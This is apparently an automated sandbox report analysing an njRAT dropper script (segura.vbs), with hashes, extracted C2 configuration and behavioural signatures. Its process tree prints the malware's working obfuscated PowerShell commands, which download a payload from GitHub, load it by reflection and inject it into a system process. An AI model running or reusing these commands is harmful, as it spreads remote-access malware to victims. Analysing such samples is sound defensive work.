Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
03-10-2024 23:39
Static task
static1
General
-
Target
segura.vbs
-
Size
483KB
-
MD5
52917612f2ba8deed79d211c0bd5746f
-
SHA1
dea790f7518809133c06fee3931e742600613a9b
-
SHA256
76909f885c6b7247c7176b2cc08830c78b8b831bf7d3f0d9eec38da53e8ae93b
-
SHA512
d7260e28e3749fb5e5933ce1b451c4284da72a155feefacffd679ec7c68fc5906655443bbf40cacb2af7c682107e3c846300a90a05f1bb3e45c3b72026d0c9dd
-
SSDEEP
12288:3FIsz/Eb1lVfwxg6kUTGuimfRkZGOm76nrONHcIZgBVU4UupEFgAA0bOpZc+wGc8:3Dmjp7BFr
Malware Config
Extracted
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
Extracted
njrat
0.7NC
NYAN CAT
02oct.duckdns.org:9001
68583eab59
-
reg_key
68583eab59
-
splitter
@!#&^%$
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 9 4604 powershell.exe 19 4604 powershell.exe 21 4604 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 5072 powershell.exe 4604 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
flow ioc 8 raw.githubusercontent.com 9 raw.githubusercontent.com 18 bitbucket.org 19 bitbucket.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4604 set thread context of 456 4604 powershell.exe 88 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language aspnet_regsql.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 5072 powershell.exe 5072 powershell.exe 4604 powershell.exe 4604 powershell.exe 4604 powershell.exe 4604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 37 IoCs
description pid Process Token: SeDebugPrivilege 5072 powershell.exe Token: SeDebugPrivilege 4604 powershell.exe Token: SeDebugPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe Token: 33 456 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 456 aspnet_regsql.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 684 wrote to memory of 5072 684 WScript.exe 84 PID 684 wrote to memory of 5072 684 WScript.exe 84 PID 5072 wrote to memory of 4604 5072 powershell.exe 86 PID 5072 wrote to memory of 4604 5072 powershell.exe 86 PID 4604 wrote to memory of 848 4604 powershell.exe 87 PID 4604 wrote to memory of 848 4604 powershell.exe 87 PID 4604 wrote to memory of 848 4604 powershell.exe 87 PID 4604 wrote to memory of 456 4604 powershell.exe 88 PID 4604 wrote to memory of 456 4604 powershell.exe 88 PID 4604 wrote to memory of 456 4604 powershell.exe 88 PID 4604 wrote to memory of 456 4604 powershell.exe 88 PID 4604 wrote to memory of 456 4604 powershell.exe 88 PID 4604 wrote to memory of 456 4604 powershell.exe 88 PID 4604 wrote to memory of 456 4604 powershell.exe 88 PID 4604 wrote to memory of 456 4604 powershell.exe 88
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\segura.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:684 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgneycrJzF9dXJsJysnID0gezJ9aHR0cHM6Ly8nKydyYScrJ3cuJysnZ2l0aHVidXMnKydlcmNvbicrJ3QnKydlbnQuY29tL04nKydvJysnRCcrJ2V0JysnZWN0T24nKycvTm9EZScrJ3RlY3RPJysnbi9yZWYnKydzJysnLycrJ2gnKydlJysnYScrJ2RzL21haW4nKycvRGV0YWhOb3RoLVYnKycudHh0ezJ9JysnOyB7MX1iJysnYXMnKydlJysnNjQnKydDb250ZScrJ250JysnID0gJysnKE5ldy1PYmplY3QnKycgU3knKydzdGVtLicrJ05ldC4nKydXZWJDbGllJysnbnQpLkRvJysnd24nKydsb2FkU3RyaScrJ24nKydnKHsxfXVyJysnbCk7JysnICcrJ3sxJysnfWJpbicrJ2EnKydyeUNvbnQnKydlbnQnKycgJysnPScrJyBbU3knKydzdCcrJ2VtLkMnKydvbicrJ3YnKydlJysncnRdJysnOjpGcicrJ29tQmFzJysnZTY0U3RyaScrJ25nKHsnKycxfWJhc2U2NENvbnQnKydlbnQpJysnOycrJyB7MScrJ31hc3NlbWJsJysneScrJyA9IFtSZWZsZWN0JysnaW9uJysnLkEnKydzc2VtYmwnKyd5XScrJzonKyc6JysnTG9hZCh7MX1iaW5hcicrJ3lDb250ZScrJ250KTsnKycgW2RubCcrJ2knKydiLkknKydPJysnLkgnKydvbWVdJysnOjpWQUkoezB9dHh0LkpOcmFUL3NkYW9sJysnbicrJ3dvZC8ycmF0L2YnKydhc2ZzJysnYWZzbHNkcycrJ2RsdmV1bi8nKydncicrJ28udGUnKydrYycrJ3VidGliLycrJy86c3B0dGh7MH0sIHswfWRlc2F0aXZhZG97MCcrJ30sICcrJ3snKycwfWQnKydlcycrJ2F0aXZhZG97MH0sIHswfWRlc2F0aXZhZCcrJ297MH0sICcrJ3snKycwfWFzcCcrJ25ldF9yZScrJ2dzcWx7JysnMCcrJ30nKycsICcrJ3swfScrJ3swfSx7MH17MH0nKycpJykgLWZbY0hBcl0zNCxbY0hBcl0zNixbY0hBcl0zOSl8ICYoICRQc0hPTWVbMjFdKyRQc2hPbWVbMzRdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{'+'1}url'+' = {2}https://'+'ra'+'w.'+'githubus'+'ercon'+'t'+'ent.com/N'+'o'+'D'+'et'+'ectOn'+'/NoDe'+'tectO'+'n/ref'+'s'+'/'+'h'+'e'+'a'+'ds/main'+'/DetahNoth-V'+'.txt{2}'+'; {1}b'+'as'+'e'+'64'+'Conte'+'nt'+' = '+'(New-Object'+' Sy'+'stem.'+'Net.'+'WebClie'+'nt).Do'+'wn'+'loadStri'+'n'+'g({1}ur'+'l);'+' '+'{1'+'}bin'+'a'+'ryCont'+'ent'+' '+'='+' [Sy'+'st'+'em.C'+'on'+'v'+'e'+'rt]'+'::Fr'+'omBas'+'e64Stri'+'ng({'+'1}base64Cont'+'ent)'+';'+' {1'+'}assembl'+'y'+' = [Reflect'+'ion'+'.A'+'ssembl'+'y]'+':'+':'+'Load({1}binar'+'yConte'+'nt);'+' [dnl'+'i'+'b.I'+'O'+'.H'+'ome]'+'::VAI({0}txt.JNraT/sdaol'+'n'+'wod/2rat/f'+'asfs'+'afslsds'+'dlveun/'+'gr'+'o.te'+'kc'+'ubtib/'+'/:sptth{0}, {0}desativado{0'+'}, '+'{'+'0}d'+'es'+'ativado{0}, {0}desativad'+'o{0}, '+'{'+'0}asp'+'net_re'+'gsql{'+'0'+'}'+', '+'{0}'+'{0},{0}{0}'+')') -f[cHAr]34,[cHAr]36,[cHAr]39)| &( $PsHOMe[21]+$PshOme[34]+'x')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"4⤵PID:848
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:456
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82